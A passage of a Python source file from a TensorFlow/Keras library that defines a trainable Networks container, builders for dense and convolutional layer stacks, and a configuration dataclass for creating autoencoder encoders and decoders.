Optional[TensorTypes]\n parameters: List[tf.Variable]\n\n def call(self) -> Tuple[Tensor, Dict[str, Any]]:\n return tf.constant(0., dtype=tf.float32), {}\n\n def __call__(self) -> Tuple[Tensor, Dict[str, Any]]:\n loss, metrics = self.call()\n assert tf.is_tensor(loss), \\\n f\"loss must be instance of Tensor but given: {type(loss)}\"\n assert isinstance(metrics, dict), \\\n f\"metrics must be instance of dictionary but given: {type(metrics)}\"\n return loss, metrics\n\n\nclass Networks(keras.Model, MD5object):\n r\"\"\" A more civilized version of `keras.Model`, a container of multiple\n networks that serve a computational model. \"\"\"\n\n def __new__(cls, *args, **kwargs):\n class_tree = [c for c in type.mro(cls) if issubclass(c, keras.Model)][::-1]\n # get default arguments from parents classes\n kw = dict()\n for c in class_tree:\n spec = inspect.getfullargspec(c.__init__)\n if spec.defaults is not None:\n for key, val in zip(spec.args[::-1], spec.defaults[::-1]):\n kw[key] = val\n # update the user provided arguments\n for k, v in zip(spec.args[1:], args):\n kw[k] = v\n kw.update(kwargs)\n # deep copy is necessary here otherwise the init function will modify\n # the arguments\n kw = copy.copy(kw)\n # create the instance\n instance = super().__new__(cls, *args, **kwargs)\n # must make _init_args NonDependency (i.e. nontrackable and won't be\n # saved in save_weights)\n with trackable.no_automatic_dependency_tracking_scope(instance):\n instance._init_args = kw\n return instance\n\n def __init__(self,\n path: Optional[str] = None,\n step: int = 0,\n *args,\n **kwargs):\n super().__init__(name=kwargs.pop('name',\n type(self).__name__),\n *args,\n **kwargs)\n self.step = tf.Variable(step, dtype=tf.int64, trainable=False, name=\"Step\")\n self._save_path = path\n self._last_outputs = None\n self.trainer = None\n\n def build(self, input_shape: List[Union[None, int]]) -> Networks:\n \"\"\"Build the networks for given input or list of inputs\n\n Parameters\n ----------\n input_shape : List[Union[None, int]]\n the input shape include the batch dimension, this could be single shape\n or list of shape (for multiple-inputs).\n\n Returns\n -------\n Networks\n return the network itself for method chaining\n \"\"\"\n super().build(input_shape)\n return self\n\n @property\n def last_outputs(self):\n \"\"\"Return the last outputs from call method\"\"\"\n return self._last_outputs\n\n def __call__(self, *args, **kwargs):\n outputs = super().__call__(*args, **kwargs)\n self._last_outputs = outputs\n return outputs\n\n @property\n def n_parameters(self) -> int:\n \"\"\" Return the total number of trainable parameters (or variables) \"\"\"\n return sum(np.prod(v.shape) for v in self.trainable_variables)\n\n @classproperty\n def default_args(cls) -> Dict[str, Any]:\n \"\"\"Return a dictionary of the default keyword arguments of all subclass start\"\"\"\n kw = dict()\n args = []\n for c in type.mro(cls)[::-1]:\n if not issubclass(c, Networks):\n continue\n spec = inspect.getfullargspec(c.__init__)\n args += spec.args\n if spec.defaults is not None:\n for key, val in zip(spec.args[::-1], spec.defaults[::-1]):\n kw[key] = val\n args = [i for i in set(args) if i not in kw and i != 'self']\n return kw\n\n def load_weights(self,\n filepath: Optional[str] = None,\n raise_notfound: bool = False,\n verbose: bool = False) -> Networks:\n \"\"\"Load all the saved weights in tensorflow format at given path\n\n Note\n -----\n Remember to build the Networks before loading saved weights.\n \"\"\"\n if filepath is None:\n if self.save_path is None:\n raise ValueError('No path is given for loading weights')\n filepath = self.save_path\n if isinstance(filepath, string_types):\n files = glob.glob(filepath + '.*')\n # load weights\n if len(files) > 0 and (filepath + '.index') in files:\n if verbose:\n print(f\"Loading weights at path: {filepath}\")\n super().load_weights(filepath, by_name=False, skip_mismatch=False)\n elif raise_notfound:\n raise FileNotFoundError(\n f\"Cannot find saved weights at path: {filepath}\")\n # load trainer\n trainer_path = filepath + '.trainer'\n if os.path.exists(trainer_path):\n if verbose:\n print(f\"Loading trainer at path: {trainer_path}\")\n with open(trainer_path, 'rb') as f:\n self.trainer = pickle.load(f)\n self._save_path = filepath\n return self\n\n def save_weights(self,\n filepath: Optional[str] = None,\n overwrite: bool = True) -> Networks:\n r\"\"\" Just copy this function here to fix the `save_format` to 'tf'\n\n Since saving 'h5' will drop certain variables.\n \"\"\"\n if filepath is None:\n filepath = self.save_path\n assert filepath is not None\n with open(filepath + '.trainer', 'wb') as f:\n pickle.dump(self.trainer, f)\n logging.get_logger().disabled = True\n super().save_weights(filepath=filepath,\n overwrite=overwrite,\n save_format='tf')\n logging.get_logger().disabled = False\n return self\n\n def train_steps(self,\n inputs: TensorTypes,\n training: bool = True,\n *args,\n **kwargs\n ) -> Iterator[Callable[[], Tuple[Tensor, Dict[str, Any]]]]:\n yield TrainStep(inputs=inputs,\n training=training,\n parameters=self.trainable_variables,\n *args,\n **kwargs)\n\n def optimize(self,\n inputs: Union[TensorTypes, List[TensorTypes]],\n training: bool = True,\n optimizer: Optional[Union[List[OptimizerV2],\n OptimizerV2]] = None,\n allow_none_gradients: bool = False,\n track_gradients: bool = False,\n *args,\n **kwargs) -> Tuple[Tensor, Dict[str, Any]]:\n \"\"\"Optimization function, could be used for autograph\n\n Parameters\n ----------\n inputs : Union[TensorTypes, List[TensorTypes]]\n a single or list of input tensors\n training : bool, optional\n indicating the training mode for call method, by default True\n optimizer : Optional[OptimizerV2], optional\n optimizer, by default None\n allow_none_gradients : bool, optional\n allow variables with None gradients during training, by default False\n track_gradients : bool, optional\n track and return the metrics includes the gradients' L2-norm for each\n trainable variable, by default False\n\n Returns\n -------\n Tuple[Tensor, Dict[str, Any]]\n loss : a Scalar, the loss Tensor used for optimization\n metrics : a Dictionary, mapping from name to values\n \"\"\"\n if training:\n self.step.assign_add(1)\n ## prepare the optimizer\n if optimizer is None:\n optimizer = [self.optimizer]\n elif not isinstance(optimizer, (tuple, list)):\n optimizer = [optimizer]\n ## prepare loss and metrics\n all_metrics = {}\n total_loss = 0.\n optimizer = tf.nest.flatten(optimizer)\n n_optimizer = len(optimizer)\n ## start optimizing step-by-step\n iterator = enumerate(\n self.train_steps(inputs=inputs, training=training, *args, **kwargs))\n for step_idx, step in iterator:\n assert isinstance(step, TrainStep) or callable(step), \\\n (\"method train_steps must return an Iterator of TrainStep or callable, \"\n f\"but return type: {type(step)}\")\n opt = optimizer[step_idx % n_optimizer]\n if isinstance(step, TrainStep):\n parameters = step.parameters\n else:\n parameters = self.trainable_variables\n ## for training\n if training:\n with tf.GradientTape(watch_accessed_variables=False) as tape:\n tape.watch(parameters)\n loss, metrics = step()\n # applying the gradients\n gradients = tape.gradient(loss, parameters)\n # for debugging gradients\n grads_params = [(g, p)\n for g, p in zip(gradients, parameters)\n if g is not None or allow_none_gradients]\n opt.apply_gradients(grads_params)\n # tracking the gradient norms for debugging\n if track_gradients:\n track_gradients = int(track_gradients)\n prefix = '' if track_gradients > 1 else '_'\n for g, p in grads_params:\n metrics[f\"{prefix}grad/{p.name}\"] = tf.linalg.norm(g)\n ## for validation\n else:\n tape = None\n loss, metrics = step()\n ## update metrics and loss\n all_metrics.update(metrics)\n total_loss += loss\n ## return\n all_metrics = {i: tf.reduce_mean(j) for i, j in all_metrics.items()}\n return total_loss, all_metrics\n\n def fit(self,\n train: Union[TensorTypes, DatasetV2],\n valid: Optional[Union[TensorTypes, DatasetV2]] = None,\n valid_freq: int = 500,\n valid_interval: float = 0,\n optimizer: Union[str, List[str], OptimizerV2,\n List[OptimizerV2]] = 'adam',\n learning_rate: float = 1e-3,\n clipnorm: Optional[float] = None,\n epochs: int = -1,\n max_iter: int = 1000,\n batch_size: int = 32,\n callback: Union[Callback, List[Callback]] = lambda: None,\n compile_graph: bool = True,\n autograph: bool = False,\n logging_interval: float = 3,\n skip_fitted: Union[bool, int] = False,\n terminate_on_nan: bool = True,\n logdir: Optional[str] = None,\n allow_none_gradients: bool = False,\n track_gradients: bool = False) -> Networks:\n \"\"\"Override the original fit method of keras to provide simplified\n procedure with `Networks.optimize` and `Networks.train_steps`\n\n Parameters\n ----------\n train : Union[TensorTypes, DatasetV2]\n tensorflow Dataset for training\n valid : Optional[Union[TensorTypes, DatasetV2]], optional\n tensorflow Dataset for validation, by default None\n valid_freq : int, optional\n the frequency, in steps, for performing validation, by default 500\n valid_interval : float, optional\n the interval, in second, for performing validation, by default 0\n optimizer : Union[str, OptimizerV2], optional\n A list of optimizers is accepted in case of multiple steps training.\n If `None`, re-use stored optimizer, raise `RuntimeError` if no\n predefined optimizer found., by default 'adam'\n learning_rate : float, optional\n learning rate for initializing the optimizer, by default 1e-3\n clipnorm : Optional[float], optional\n global L2-norm value for clipping the gradients, by default None\n epochs : int, optional\n maximum number of epochs, by default -1\n max_iter : int, optional\n maximum number of iteration, by default 1000\n batch_size : int, optional\n number of examples for mini-batch, by default 32\n callback : Union[Callback, List[Callback]], optional\n a function or list of functions called every `valid_freq` steps or\n `valid_interval` seconds, by default lambda:None\n compile_graph : bool, optional\n If True, using tensorflow autograph for optimize function (about 2 times\n speed gain), otherwise, run the function in Eager mode (better for\n debugging), by default True\n autograph : bool, optional\n use autograph to compile the function, by default False\n logging_interval : float, optional\n interval, in seconds, for printing logging information, by default 3\n skip_fitted : Union[bool, int], optional\n skip this function if the model if fitted, or fitted for certain amount of\n steps, by default False\n terminate_on_nan : bool, optional\n terminate the training if NaNs returned, by default True\n logdir : Optional[str], optional\n tensorboard logging directory, by default None\n allow_none_gradients : bool, optional\n allow variables with None gradients during training, by default False\n track_gradients : bool or int, optional\n track and return the metrics includes the gradients' L2-norm for each\n trainable variable.\n If the value is `True` or 1, hide the gradient norm values from the\n logging by prepending '_', by default False\n\n Returns\n -------\n Networks\n the network itself for method chaining\n\n Raises\n ------\n RuntimeError\n if the optimizer is not defined.\n \"\"\"\n if not self.built:\n raise RuntimeError(\n \"build(input_shape) method must be called to initialize \"\n \"the variables before calling fit\")\n batch_size = int(batch_size)\n # validate the dataset\n train = _to_dataset(train, batch_size, self.dtype)\n if valid is not None:\n valid = _to_dataset(valid, batch_size, self.dtype)\n # skip training if model is fitted or reached a number of iteration\n if self.is_fitted and skip_fitted:\n if isinstance(skip_fitted, bool):\n return self\n skip_fitted = int(skip_fitted)\n if int(self.step.numpy()) >= skip_fitted:\n return self\n # create the trainer\n if self.trainer is None:\n with trackable.no_automatic_dependency_tracking_scope(self):\n trainer = Trainer(logdir=logdir)\n self.trainer = trainer\n else:\n trainer = self.trainer\n ## if already called repeat, then no need to repeat more\n if hasattr(train, 'repeat'):\n train = train.repeat(int(epochs))\n ## create the optimizer, turn off tracking so the optimizer\n # won't be saved in save_weights\n if optimizer is not None and self.optimizer is None:\n with trackable.no_automatic_dependency_tracking_scope(self):\n self.optimizer = _to_optimizer(optimizer, learning_rate, clipnorm)\n if self.optimizer is None:\n raise RuntimeError(\"No optimizer found!\")\n ## run early stop and callback\n self.trainer.fit(\n train_ds=train,\n optimize=partial(self.optimize,\n allow_none_gradients=allow_none_gradients,\n track_gradients=track_gradients),\n valid_ds=valid,\n valid_freq=valid_freq,\n valid_interval=valid_interval,\n compile_graph=compile_graph,\n autograph=autograph,\n logging_interval=logging_interval,\n log_tag=self.name,\n max_iter=max_iter,\n terminate_on_nan=terminate_on_nan,\n callback=callback,\n )\n return self\n\n def plot_learning_curves(self,\n path=\"/tmp/tmp.png\",\n summary_steps=[10, 5],\n show_validation=True,\n dpi=200,\n title=None):\n r\"\"\" Plot the learning curves on train and validation sets. \"\"\"\n assert self.trainer is not None, \\\n \"fit method must be called before plotting learning curves\"\n fig = self.trainer.plot_learning_curves(path=path,\n summary_steps=summary_steps,\n show_validation=show_validation,\n dpi=dpi,\n title=title)\n if path is None:\n return fig\n return self\n\n @property\n def is_semi_supervised(self) -> bool:\n return False\n\n @property\n def last_metrics(self) -> Dict[str, Any]:\n \"\"\"Return the cached metrics from last training iteration\"\"\"\n if self.trainer is None:\n return {}\n return self.trainer.last_metrics\n\n @property\n def summary_writer(self) -> SummaryWriter:\n if self.trainer is not None:\n return self.trainer.summary_writer\n return None\n\n @property\n def tensorboard(self) -> Dict[Text, Tuple[float, int, float]]:\n if self.trainer is not None:\n return self.trainer.tensorboard\n return None\n\n @property\n def tensorboard_logdir(self) -> str:\n if self.trainer is not None:\n return self.trainer.logdir\n return None\n\n def _md5_objects(self):\n varray = []\n for n, v in enumerate(self.variables):\n v = v.numpy()\n varray.append(v.shape)\n varray.append(v.ravel())\n varray.append([n])\n varray = np.concatenate(varray, axis=0)\n return varray\n\n @property\n def save_path(self) -> Optional[str]:\n return self._save_path\n\n @property\n def init_args(self) -> Dict[str, Any]:\n return self._init_args\n\n @property\n def is_fitted(self) -> bool:\n return self.step.numpy() > 0\n\n\n# ===========================================================================\n# SequentialNetwork\n# ===========================================================================\nclass SequentialNetwork(keras.Sequential):\n\n def __init__(self, layers=None, name=None):\n super().__init__(layers=None if layers is None else layers, name=name)\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return layer2text(self)\n\n\n# ===========================================================================\n# Networks\n# ===========================================================================\ndef dense_network(units: List[int],\n activation: str = 'relu',\n use_bias: bool = True,\n kernel_initializer: str = 'glorot_uniform',\n bias_initializer: str = 'zeros',\n kernel_regularizer: Optional[str] = None,\n bias_regularizer: Optional[str] = None,\n activity_regularizer: Optional[str] = None,\n kernel_constraint: Optional[str] = None,\n bias_constraint: Optional[str] = None,\n flatten_inputs: bool = True,\n batchnorm: bool = True,\n input_dropout: float = 0.,\n dropout: float = 0.,\n input_shape: Optional[List[int]] = None,\n prefix: Optional[str] = 'Layer') -> List[Layer]:\n r\"\"\" Multi-layers dense feed-forward neural network \"\"\"\n if prefix is None:\n prefix = 'Layer'\n (units, activation, use_bias, kernel_initializer, bias_initializer,\n kernel_regularizer, bias_regularizer, activity_regularizer,\n kernel_constraint, bias_constraint, batchnorm,\n dropout), nlayers = _as_arg_tuples(units, activation, use_bias,\n kernel_initializer, bias_initializer,\n kernel_regularizer, bias_regularizer,\n activity_regularizer, kernel_constraint,\n bias_constraint, batchnorm, dropout)\n layers = []\n if input_shape is not None:\n layers.append(keras.layers.InputLayer(input_shape=input_shape))\n if flatten_inputs:\n layers.append(keras.layers.Flatten())\n if input_dropout > 0:\n layers.append(keras.layers.Dropout(rate=input_dropout))\n for i in range(nlayers):\n layers.append(\n keras.layers.Dense(\\\n units[i],\n activation='linear',\n use_bias=(not batchnorm[i]) and use_bias[i],\n kernel_initializer=kernel_initializer[i],\n bias_initializer=bias_initializer[i],\n kernel_regularizer=kernel_regularizer[i],\n bias_regularizer=bias_regularizer[i],\n activity_regularizer=activity_regularizer[i],\n kernel_constraint=kernel_constraint[i],\n bias_constraint=bias_constraint[i],\n name=f\"{prefix}{i}\"))\n if batchnorm[i]:\n layers.append(keras.layers.BatchNormalization())\n layers.append(keras.layers.Activation(activation[i]))\n if dropout[i] > 0:\n layers.append(keras.layers.Dropout(rate=dropout[i]))\n return layers\n\n\ndef conv_network(units: List[int],\n rank: int = 2,\n kernel: int = 3,\n strides: int = 1,\n padding: Literal['valid', 'causal', 'same'] = 'same',\n dilation: int = 1,\n activation: str = 'relu',\n use_bias: bool = True,\n kernel_initializer: str = 'glorot_uniform',\n bias_initializer: str = 'zeros',\n kernel_regularizer: Optional[str] = None,\n bias_regularizer: Optional[str] = None,\n activity_regularizer: Optional[str] = None,\n kernel_constraint: Optional[str] = None,\n bias_constraint: Optional[str] = None,\n batchnorm: bool = True,\n input_dropout: float = 0.,\n dropout: float = 0.,\n projection: bool = False,\n input_shape: Optional[List[int]] = None,\n prefix: Optional[str] = 'Layer') -> List[Layer]:\n r\"\"\" Multi-layers convolutional neural network\n\n Arguments:\n projection : {True, False, an Integer}.\n If True, flatten the output into 2-D.\n If an Integer, use a `Dense` layer with linear activation to project\n the output in to 2-D\n \"\"\"\n if prefix is None:\n prefix = 'Layer'\n rank, input_shape = _infer_rank_and_input_shape(rank, input_shape)\n (units, kernel, strides, padding, dilation, activation, use_bias,\n kernel_initializer, bias_initializer, kernel_regularizer, bias_regularizer,\n activity_regularizer, kernel_constraint, bias_constraint, batchnorm,\n dropout), nlayers = _as_arg_tuples(units, kernel, strides, padding, dilation,\n activation, use_bias, kernel_initializer,\n bias_initializer, kernel_regularizer,\n bias_regularizer, activity_regularizer,\n kernel_constraint, bias_constraint,\n batchnorm, dropout)\n\n layers = []\n if input_shape is not None:\n layers.append(keras.layers.InputLayer(input_shape=input_shape))\n if 0. < input_dropout < 1.:\n layers.append(keras.layers.Dropout(rate=input_dropout))\n\n if rank == 3:\n layer_type = keras.layers.Conv3D\n elif rank == 2:\n layer_type = keras.layers.Conv2D\n elif rank == 1:\n layer_type = keras.layers.Conv1D\n\n for i in range(nlayers):\n layers.append(\n layer_type(\\\n filters=units[i],\n kernel_size=kernel[i],\n strides=strides[i],\n padding=padding[i],\n dilation_rate=dilation[i],\n activation='linear',\n use_bias=(not batchnorm[i]) and use_bias[i],\n kernel_initializer=kernel_initializer[i],\n bias_initializer=bias_initializer[i],\n kernel_regularizer=kernel_regularizer[i],\n bias_regularizer=bias_regularizer[i],\n activity_regularizer=activity_regularizer[i],\n kernel_constraint=kernel_constraint[i],\n bias_constraint=bias_constraint[i],\n name=f\"{prefix}{i}\"))\n if batchnorm[i]:\n layers.append(keras.layers.BatchNormalization())\n layers.append(keras.layers.Activation(activation[i]))\n if dropout[i] > 0:\n layers.append(keras.layers.Dropout(rate=dropout[i]))\n # projection\n if isinstance(projection, bool):\n if projection:\n layers.append(keras.layers.Flatten())\n elif isinstance(projection, Number):\n layers.append(keras.layers.Flatten())\n layers.append(\n keras.layers.Dense(int(projection),\n activation='linear',\n use_bias=True,\n name=f'{prefix}proj'))\n return layers\n\n\ndef deconv_network(units: List[int],\n rank: int = 2,\n kernel: int = 3,\n strides: int = 1,\n padding: Literal['same', 'valid', 'causal'] = 'same',\n output_padding: Optional[List[int]] = None,\n dilation: int = 1,\n activation: str = 'relu',\n use_bias: bool = True,\n kernel_initializer: str = 'glorot_uniform',\n bias_initializer: str = 'zeros',\n kernel_regularizer: Optional[str] = None,\n bias_regularizer: Optional[str] = None,\n activity_regularizer: Optional[str] = None,\n kernel_constraint: Optional[str] = None,\n bias_constraint: Optional[str] = None,\n batchnorm: bool = True,\n input_dropout: float = 0.,\n dropout: float = 0.,\n projection: Optional[int] = None,\n input_shape: Optional[List[int]] = None,\n prefix: Optional[str] = 'Layer') -> List[Layer]:\n r\"\"\" Multi-layers transposed convolutional neural network \"\"\"\n if prefix is None:\n prefix = 'Layer'\n rank, input_shape = _infer_rank_and_input_shape(rank, input_shape)\n (units, kernel, strides, padding, output_padding, dilation, activation,\n use_bias, kernel_initializer, bias_initializer, kernel_regularizer,\n bias_regularizer, activity_regularizer, kernel_constraint,\n bias_constraint, batchnorm, dropout), nlayers = _as_arg_tuples(\n units, kernel, strides, padding, output_padding, dilation, activation,\n use_bias, kernel_initializer, bias_initializer, kernel_regularizer,\n bias_regularizer, activity_regularizer, kernel_constraint,\n bias_constraint, batchnorm, dropout)\n #\n layers = []\n if input_shape is not None:\n layers.append(keras.layers.InputLayer(input_shape=input_shape))\n if 0. < input_dropout < 1.:\n layers.append(keras.layers.Dropout(input_dropout))\n #\n if rank == 3:\n raise NotImplementedError\n elif rank == 2:\n layer_type = keras.layers.Conv2DTranspose\n elif rank == 1:\n layer_type = Conv1DTranspose\n\n for i in range(nlayers):\n layers.append(\n layer_type(\\\n filters=units[i],\n kernel_size=kernel[i],\n strides=strides[i],\n padding=padding[i],\n output_padding=output_padding[i],\n dilation_rate=dilation[i],\n activation='linear',\n use_bias=(not batchnorm[i]) and use_bias[i],\n kernel_initializer=kernel_initializer[i],\n bias_initializer=bias_initializer[i],\n kernel_regularizer=kernel_regularizer[i],\n bias_regularizer=bias_regularizer[i],\n activity_regularizer=activity_regularizer[i],\n kernel_constraint=kernel_constraint[i],\n bias_constraint=bias_constraint[i],\n name=f\"{prefix}{i}\"))\n if batchnorm[i]:\n layers.append(keras.layers.BatchNormalization())\n layers.append(keras.layers.Activation(activation[i]))\n if dropout[i] > 0:\n layers.append(keras.layers.Dropout(rate=dropout[i]))\n # projection\n if isinstance(projection, bool):\n if projection:\n layers.append(keras.layers.Flatten())\n elif isinstance(projection, Number):\n layers.append(keras.layers.Flatten())\n layers.append(\n keras.layers.Dense(int(projection),\n activation='linear',\n use_bias=True,\n name=f'{prefix}proj'))\n return layers\n\n\n# ===========================================================================\n# Serializable configuration\n# ===========================================================================\n@dataclasses.dataclass(init=True,\n repr=True,\n eq=True,\n order=False,\n unsafe_hash=False,\n frozen=False)\nclass NetworkConfig(dict):\n r\"\"\" A dataclass for storing the autoencoder networks (encoder and decoder)\n configuration. Number of layers is determined by length of `units`\n\n Arguments:\n units : a list of Integer. Number of hidden units for each hidden layers\n kernel : a list of Integer, kernel size for convolution network\n strides : a list of Integer, stride step for convoltion\n activation : a String, alias of activation function\n input_dropout : A Scalar [0., 1.], dropout rate, if 0., turn-off dropout.\n this rate is applied for input layer.\n dropout : a list of Scalar [0., 1.], dropout rate between two hidden layers\n batchnorm : a Boolean, batch normalization\n linear_decoder : a Boolean, if `True`, use an `Identity` (i.e. Linear)\n decoder\n network : {'conv', 'deconv', 'dense'}.\n type of `Layer` for the network\n flatten_inputs: a Boolean. Flatten the inputs to 2D in case of `Dense`\n network\n projection : An Integer, number of hidden units for the `Dense`\n linear projection layer right after convolutional network.\n\n \"\"\"\n\n units: Union[int, List[int]] = 64\n kernel: Union[int, List[int]] = 3\n strides: Union[int, List[int]] = 1\n dilation: Union[int, List[int]] = 1\n padding: Union[str, List[str]] = 'same'\n activation: Union[str, List[str]] = 'relu'\n use_bias: Union[bool, List[bool]] = True\n kernel_initializer: Union[str, List[str]] = 'glorot_uniform'\n bias_initializer: Union[str, List[str]] = 'zeros'\n kernel_regularizer: Union[str, List[str]] = None\n bias_regularizer: Union[str, List[str]] = None\n activity_regularizer: Union[str, List[str]] = None\n kernel_constraint: Union[str, List[str]] = None\n bias_constraint: Union[str, List[str]] = None\n batchnorm: Union[bool, List[bool]] = False\n input_dropout: float = 0.\n dropout: Union[float, List[float]] = 0.\n linear_decoder: bool = False\n network: Literal['conv', 'deconv', 'dense'] = 'dense'\n flatten_inputs: bool = True\n projection: Optional[int] = None\n input_shape: List[int] = None\n name: Optional[str] = None\n\n def __post_init__(self):\n if not isinstance(self.units, collections.Iterable):\n self.units = tf.nest.flatten(self.units)\n self.units = [int(i) for i in self.units]\n network_types = ('deconv', 'conv', 'dense', 'lstm', 'gru', 'rnn')\n assert self.network in network_types, \\\n \"Given network '%s', only support: %s\" % (self.network, network_types)\n\n def keys(self):\n for i in dataclasses.fields(self):\n yield i.name\n\n def values(self):\n for i in dataclasses.fields(self):\n yield i.default\n\n def __iter__(self):\n for i in dataclasses.fields(self):\n yield i.name, i.default\n\n def __len__(self):\n return len(dataclasses.fields(self))\n\n def __getitem__(self, key):\n return getattr(self, key)\n\n def copy(self, **kwargs):\n obj = copy.deepcopy(self)\n return dataclasses.replace(obj, **kwargs)\n\n ################ Create the networks\n def create_autoencoder(\n self,\n input_shape: List[int],\n latent_shape: List[int],\n name: Optional[str] = None\n ) -> Tuple[SequentialNetwork, SequentialNetwork]:\n r\"\"\" Create both encoder and decoder at once \"\"\"\n encoder_name = None if name is None else f\"{name}_encoder\"\n decoder_name = None if name is None else f\"{name}_decoder\"\n encoder = self.create_network(input_shape=input_shape, name=encoder_name)\n decoder = self.create_decoder(encoder=encoder,\n latent_shape=latent_shape,\n name=decoder_name)\n return encoder, decoder\n\n def create_decoder(self,\n encoder: Layer,\n latent_shape: List[int],\n n_parameterization: int = 1,\n name: Optional[str] = None) -> SequentialNetwork:\n r\"\"\"\n Arguments:\n latent_shape : a tuple of Integer. Shape of latent without the batch\n dimensions.\n n_parameterization : number of parameters in case the output of decoder\n parameterize a distribution\n name : a String (optional).\n\n Returns:\n decoder : keras.Sequential\n \"\"\"\n if name is None:\n name = \"Decoder\"\n latent_shape = _shape(latent_shape)\n input_shape = encoder.input_shape[1:]\n n_channels = input_shape[-1]\n rank = 1 if len(input_shape) == 2 else 2\n # ====== linear decoder ====== #\n if self.linear_decoder:\n return Identity(name=name, input_shape=latent_shape)\n ### convolution network\n if self.network == 'conv':\n # get the last convolution shape\n eshape = encoder.layers[-3].output_shape[1:]\n start_layers = [keras.layers.InputLayer(input_shape=latent_shape)]\n if self.projection is not None and not isinstance(self.projection, bool):\n start_layers += [\n keras.layers.Dense(int(self.projection),\n activation='linear',\n use_bias=True),\n keras.layers.Dense(np.prod(eshape),\n activation=self.activation,\n use_bias=True),\n keras.layers.Reshape(eshape),\n ]\n decoder = deconv_network(\n tf.nest.flatten(self.units)[::-1][1:] +\n [n_channels * int(n_parameterization)],\n rank=rank,\n kernel=tf.nest.flatten(self.kernel)[::-1],\n strides=tf.nest.flatten(self.strides)[::-1],\n padding=tf.nest.flatten(self.padding)[::-1],\n dilation=tf.nest.flatten(self.dilation)[::-1],\n activation=tf.nest.flatten(self.activation)[::-1],\n use_bias=tf.nest.flatten(self.use_bias)[::-1],\n batchnorm=tf.nest.flatten(self.batchnorm)[::-1],\n input_dropout=self.input_dropout,\n dropout=tf.nest.flatten(self.dropout)[::-1],\n kernel_initializer=self.kernel_initializer,\n bias_initializer=self.bias_initializer,\n kernel_regularizer=self.kernel_regularizer,\n bias_regularizer=self.bias_regularizer,\n activity_regularizer=self.activity_regularizer,\n kernel_constraint=self.kernel_constraint,\n bias_constraint=self.bias_constraint,\n prefix=name,\n )\n decoder = start_layers + decoder\n decoder.append(keras.layers.Reshape(input_shape))\n ### dense network\n elif self.network == 'dense':\n decoder = dense_network(\n tf.nest.flatten(self.units)[::-1],\n activation=tf.nest.flatten(self.activation)[::-1],\n use_bias=tf.nest.flatten(self.use_bias)[::-1],\n batchnorm=tf.nest.flatten(self.batchnorm)[::-1],\n input_dropout=self.input_dropout,\n dropout=tf.nest.flatten(self.dropout)[::-1],\n kernel_initializer=self.kernel_initializer,\n bias_initializer=self.bias_initializer,\n kernel_regularizer=self.kernel_regularizer,\n bias_regularizer=self.bias_regularizer,\n activity_regularizer=self.activity_regularizer,\n kernel_constraint=self.kernel_constraint,\n bias_constraint=self.bias_constraint,\n flatten_inputs=self.flatten_inputs,\n input_shape=latent_shape,\n prefix=name,\n )\n ### deconv\n else:\n raise NotImplementedError(\"'%s' network doesn't support decoding.\" %\n self.network)\n decoder = SequentialNetwork(decoder, name=name)\n decoder.copy = types.MethodType(\n lambda s, name=None: self.create_decoder(\n encoder=encoder,\n latent_shape=latent_shape,\n n_parameterization=n_parameterization,\n name=name,\n ),\n decoder,\n )\n return decoder\n\n def __call__(\n self,\n input_shape: Optional[List[int]] = None,\n sequential: bool = True,\n name: Optional[str] = None) -> Union[SequentialNetwork, List[Layer]]:\n return self.create_network(input_shape=input_shape,\n sequential=sequential,\n name=name)\n\n def create_network(\n self,\n input_shape: Optional[List[int]] = None,\n sequential: bool = True,\n name: Optional[str] = None) -> Union[SequentialNetwork, List[Layer]]:\n r\"\"\"\n Arguments:\n input_shape : a tuple of Integer. Shape of input without the batch\n dimensions.\n name : a String (optional).\n\n Returns:\n encoder : keras.Sequential\n \"\"\"\n if self.name is not None:\n name = self.name\n ### prepare the shape\n input_shape = _shape(\n self.input_shape if input_shape is None else input_shape)\n ### convolution network\n if self.network == 'conv':\n # create the encoder\n network = conv_network(\n self.units,\n kernel=self.kernel,\n strides=self.strides,\n padding=self.padding,\n dilation=self.dilation,\n activation=self.activation,\n use_bias=self.use_bias,\n batchnorm=self.batchnorm,\n input_dropout=self.input_dropout,\n dropout=self.dropout,\n kernel_initializer=self.kernel_initializer,\n bias_initializer=self.bias_initializer,\n kernel_regularizer=self.kernel_regularizer,\n bias_regularizer=self.bias_regularizer,\n activity_regularizer=self.activity_regularizer,\n kernel_constraint=self.kernel_constraint,\n bias_constraint=self.bias_constraint,\n projection=self.projection,\n input_shape=input_shape,\n prefix=name,\n )\n ### dense network\n elif self.network == 'dense':\n network = dense_network(\n self.units,\n activation=self.activation,\n use_bias=self.use_bias,\n batchnorm=self.batchnorm,\n input_dropout=self.input_dropout,\n dropout=self.dropout,\n kernel_initializer=self.kernel_initializer,\n bias_initializer=self.bias_initializer,\n kernel_regularizer=self.kernel_regularizer,\n bias_regularizer=self.bias_regularizer,\n activity_regularizer=self.activity_regularizer,\n kernel_constraint=self.kernel_constraint,\n bias_constraint=self.bias_constraint,\n flatten_inputs=self.flatten_inputs,\n input_shape=input_shape,\n prefix=name,\n )\n ### deconv\n elif self.network == 'deconv':\n network = deconv_network(\n self.units,\n kernel=self.kernel,\n strides=self.strides,\n padding=self.padding,\n dilation=self.dilation,\n activation=self.activation,\n use_bias=self.use_bias,\n batchnorm=self.batchnorm,\n input_dropout=self.input_dropout,\n dropout=self.dropout,\n kernel_initializer=self.kernel_initializer,\n bias_initializer=self.bias_initializer,\n kernel_regularizer=self.kernel_regularizer,\n bias_regularizer=self.bias_regularizer,\n activity_regularizer=self.activity_regularizer,\n kernel_constraint=self.kernel_constraint,\n bias_constraint=self.bias_constraint,\n projection=self.projection,\n input_shape=input_shape,\n prefix=name,\n )\n ### others\n else:\n raise NotImplementedError(\"No implementation for network of type: '%s'\" %\n self.network)\n # ====== return ====== #\n if sequential:\n network = SequentialNetwork(network, name=name)\n network.copy = types.MethodType(\n lambda s, name=None: self.create_network(input_shape=input_shape,\n name=name),\n network,\n )\n return network\n","sub_path":"odin/networks/base_networks.py","file_name":"base_networks.py","file_ext":"py","file_size_in_byte":44333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
